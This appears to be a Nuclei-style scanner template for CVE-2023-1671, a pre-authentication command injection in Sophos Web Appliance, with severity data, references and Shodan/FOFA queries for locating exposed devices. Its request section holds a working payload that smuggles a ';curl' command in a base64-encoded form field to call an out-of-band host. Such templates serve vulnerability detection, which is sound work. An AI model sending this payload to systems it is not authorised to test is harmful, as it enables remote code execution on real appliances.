id: CVE-2023-1671

info:
  name: Sophos Web Appliance - Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
  remediation: |
    Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
  reference:
    - https://vulncheck.com/blog/cve-2023-1671-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1671
    - http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1671
    cwe-id: CWE-77
    epss-score: 0.36262
    epss-percentile: 0.96704
    cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sophos
    product: web_appliance
    shodan-query: title:"Sophos Web Appliance"
    fofa-query: title="Sophos Web Appliance"
  tags: packetstorm,cve,cve2023,rce,sophos,oast

http:
  - raw:
      - |
        POST /index.php?c=blocked&action=continue HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

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